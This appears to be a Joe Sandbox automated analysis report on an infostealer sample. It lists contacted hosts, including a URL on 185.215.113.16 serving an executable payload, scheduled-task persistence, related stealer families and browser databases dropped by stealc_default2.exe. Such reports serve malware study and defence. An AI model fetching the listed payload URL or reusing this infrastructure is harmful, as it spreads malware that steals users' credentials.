https://store.steampowered.com/mobile	v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/avatars/	roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/inc/v_dolg.exe	axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
185.215.113.36	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
185.215.113.209	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.32.1	energyaffai.lat	United States	13335	CLOUDFLARENETUS	true
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
135.181.65.219	restores.name	Germany	24940	HETZNER-ASDE	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
185.215.113.17	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577334
Start date and time:	2024-12-18 11:57:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	random.exe.6.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@61/89@15/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 64% Number of executed functions: 167 Number of non-executed functions: 144
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.32.238.18, 23.32.238.74, 20.231.128.65, 20.199.58.43, 13.107.246.63, 20.12.23.50, 2.16.158.35, 150.171.28.10, 20.223.36.55, 2.16.158.74, 184.28.90.27
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, a767.dspw65.akamai.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, wu-b-net.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:00:02	API Interceptor	4176419x Sleep call for process: axplong.exe modified
06:00:18	API Interceptor	8x Sleep call for process: legs.exe modified
06:00:21	API Interceptor	272699x Sleep call for process: defnur.exe modified
06:01:02	API Interceptor	63452x Sleep call for process: Gxtuum.exe modified
06:01:03	API Interceptor	1x Sleep call for process: WMIC.exe modified
06:01:04	API Interceptor	1x Sleep call for process: goldddd123.exe modified
06:01:18	API Interceptor	15x Sleep call for process: v_dolg.exe modified
11:58:56	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
12:00:16	Task Scheduler	Run new task: Gxtuum path: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe
12:00:20	Task Scheduler	Run new task: defnur path: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse
	ardware-v1.exe	Get hash	malicious	LummaC	Browse
	https://t.co/nq9BYOxCg9	Get hash	malicious	HTMLPhisher	Browse
208.95.112.1	x.ps1	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Creal.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	msedge.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	imagelogger.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	NJRAT DANGEROUS.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
185.215.113.36	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.36/Dem7kTu/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse	185.215.113.36/Dem7kTu/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.36/Dem7kTu/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.36/Dem7kTu/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse	185.215.113.36/Dem7kTu/index.php
	WfaD7DZqu0.exe	Get hash	malicious	Amadey	Browse	185.215.113.36/Dem7kTu/index.php
	5GP8oxUsvj.exe	Get hash	malicious	Unknown	Browse	185.215.113.36/zenaaaretest/CPU.zip
	SecuriteInfo.com.generic.ml.7966.exe	Get hash	malicious	Amadey RedLine	Browse	185.215.113.36/DebasedSeptenary_2021-09-29_00-21.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
pancakedipyps.click	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
restores.name	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	135.181.65.219
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	89.248.174.171
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	89.248.174.171
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	89.248.174.171
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	65.0.21.192
	KfxEYxBsJm.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Python.Stealer.1548.11147.30861.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Win64.Evo-gen.16643.7451.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	file.exe	Get hash	malicious	Python Stealer, Amadey, LummaC Stealer, Mars Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	65.0.21.192
	mCTacyNuyM.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	65.0.21.192
steamcommunity.com	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	99awhy8l.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	noll.exe	Get hash	malicious	Stealc, Vidar	Browse	23.55.153.106
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	ardware-v1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	sNWQ2gC6if.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	66DJ2wErLz.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	am209.exe	Get hash	malicious	Amadey	Browse	185.215.113.209
	cred64.dll.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
TUT-ASUS	x.ps1	Get hash	malicious	Quasar	Browse	208.95.112.1
	https://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=cost	Get hash	malicious	Unknown	Browse	208.95.112.2
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Creal.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	msedge.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	imagelogger.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
CLOUDFLARENETUS	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.64.80
	https://pluginvest.freshdesk.com/en/support/solutions/articles/157000010678-pluginvest-laadoplossing	Get hash	malicious	Unknown	Browse	172.66.0.145
	https://www.ispringsolutions.com/ispring-suite	Get hash	malicious	Unknown	Browse	104.21.80.1
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	http://trackmail.info/QLTRG66TP4/offer/00248/811/iuk7x/b4q/41/32	Get hash	malicious	Unknown	Browse	104.21.52.161
	Memo - Impairment Test 2023 MEX010B (5).js	Get hash	malicious	Unknown	Browse	104.21.10.224
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
WHOLESALECONNECTIONSNL	am209.exe	Get hash	malicious	Amadey	Browse	185.215.113.209
	cred64.dll.dll	Get hash	malicious	Amadey	Browse	185.215.113.209
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	alexshlu.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	99awhy8l.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	5_6253708004881862888.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	1fxm3u0d.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1
	JnEZtj3vtN.exe	Get hash	malicious	PureCrypter	Browse	172.67.157.254 23.55.153.106 104.21.23.76 104.21.32.1

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCFHDHIIIECBGCAKFIJDHJEGI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCBGDHIEBFHCBFHDHDHJKFCBA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECBGCGCG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCFBFBA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCFBFBAEBKJKEBGCAEH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EHDHIDAEHCFHJJJJECAA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFIDGCBFBAKEBFBKFB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFIDGCBFBAKEBFBKFBFBAFII

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

